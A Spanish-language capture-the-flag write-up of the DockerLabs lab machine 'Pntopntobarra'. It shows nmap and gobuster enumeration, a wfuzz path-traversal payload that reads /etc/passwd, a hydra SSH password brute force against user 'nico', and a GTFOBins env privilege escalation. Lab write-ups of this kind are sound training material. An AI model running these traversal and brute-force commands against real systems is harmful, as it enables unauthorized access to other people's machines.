> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/write-up/dockerlabs/facil/pntopntobarra.md).

# Pntopntobarra

## Maquina

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FrX8aP2YR3D5XizhTWfAQ%2Fimage.png?alt=media&amp;token=f6b5c88a-9e9f-4416-9aa9-9854801261ff" alt=""><figcaption></figcaption></figure>

## Reconocimiento

### Nmap

```bash
sudo nmap -p- --open -sSCV --min-rate 5000 -vvv -Pn 172.17.0.2 -oN nmap.txt
```

```
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 72:02:58:cd:e0:d9:4f:54:3f:66:c8:23:1f:fc:54:bf (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBD4rM85TfZpZzXElH5gjqTmtBoQEaWATc1aq0YXY4gEyWQqkFcinCQWwX/7wy/xMUb1XR1s2dnvIh0SaPxMbjl8=
|   256 48:67:04:bf:ef:55:6f:ce:fa:9e:3a:84:05:2d:63:98 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPPfa0yHsoB9kjp6RF41brT8rhWQEm1vd3quCUKtNFW/
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.61 ((Debian))
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
|_http-server-header: Apache/2.4.61 (Debian)
|_http-title: Advertencia: LeFvIrus
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### Gobuster

{% code overflow="wrap" %}

```bash
sudo gobuster dir -u 172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,zip,rar,tar,gz,css,xml,json,rb,py,jpg,jpeg,png,gif,svg,ico,pdf,sql,log,ini,conf,config,backup,sh,bash | tee gobusterExt.txt
```

{% endcode %}

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              ico,txt,py,conf,bash,css,xml,json,svg,rar,gz,jpg,png,ini,log,backup,js,tar,jpeg,pdf,sh,php,html,zip,rb,gif,sql,config
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 275]
/.php                 (Status: 403) [Size: 275]
/index.html           (Status: 200) [Size: 757]
/t.php                (Status: 200) [Size: 415]
/styles.css           (Status: 200) [Size: 1266]
/.php                 (Status: 403) [Size: 275]
/.html                (Status: 403) [Size: 275]
/server-status        (Status: 403) [Size: 275]
Progress: 6396240 / 6396269 (100.00%)
===============================================================
Finished
===============================================================
```

### Web

{% tabs %}
{% tab title="172.17.0.2" %}

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2F85FIrcLOa2rcQnj3l6tz%2Fimage.png?alt=media&amp;token=06725d12-76d8-41da-a1ab-5e53715f0283" alt=""><figcaption></figcaption></figure>
{% endtab %}

{% tab title="ejemplos.php" %}

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FMpiQ7DgCiB4rq9f6bp01%2Fimage.png?alt=media&amp;token=65212b57-4152-429c-b2da-a911dd9278d9" alt=""><figcaption></figcaption></figure>
{% endtab %}

{% tab title="t.php" %}

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FYRwFrUOXzilSIgBHWjBq%2Fimage.png?alt=media&amp;token=3edbd086-f8d6-46da-ab4d-e494ff2ee3b8" alt=""><figcaption></figcaption></figure>
{% endtab %}
{% endtabs %}

### Wfuzz

{% code overflow="wrap" %}

```bash
wfuzz -w /usr/share/wordlists/rockyou.txt -u 172.17.0.2/ejemplos.php\?FUZZ=../../../../../../../etc/pa
```

{% endcode %}

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FWqRsBFIrgycsPMUAecWh%2Fimage.png?alt=media&amp;token=dd91bb1a-f326-48ce-a951-a883a851f8c7" alt=""><figcaption></figcaption></figure>

## Explotación

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2F59d9fp1nBsCizOTS9us3%2Fimage.png?alt=media&amp;token=6b2b67f3-979c-4d91-a2e6-c87225281ea6" alt=""><figcaption></figcaption></figure>

Tenemos un usuario `nico`, probamos a hacer un ataque de fuerza bruta con hydra

```bash
hydra -l nico -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh -t 64  
```

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FppCA8djKsKrwgSVe33Yc%2Fimage.png?alt=media&amp;token=b02bd364-0fa6-4746-a941-180c7a5b96b4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FljdEr301zCpbSMtBSIHv%2Fimage.png?alt=media&amp;token=40d1c560-558e-4d0d-9dbd-47f78ad51f77" alt=""><figcaption></figcaption></figure>

## Escalado de privilegios

Miramos los permisos de este usuario

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2F6BkazSuUPpodng2JENvR%2Fimage.png?alt=media&amp;token=58f27fa1-338a-437f-ab90-cc8337a01028" alt=""><figcaption></figcaption></figure>

Lo explotamos siguiendo lo que pone en [GTFOBins](https://gtfobins.github.io/gtfobins/env/), de esta forma ya seriamos `root`

<figure><img src="https://2700507804-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FXLTbJaeg92PRVBDD3bHb%2Fuploads%2FVJsgpvYUfjIuYQWhuDOK%2Fimage.png?alt=media&amp;token=1ad65135-78a8-497e-88ea-b36a5dc0395f" alt=""><figcaption></figcaption></figure>

## Conclusión

Maquina facil para practicar fuzzing web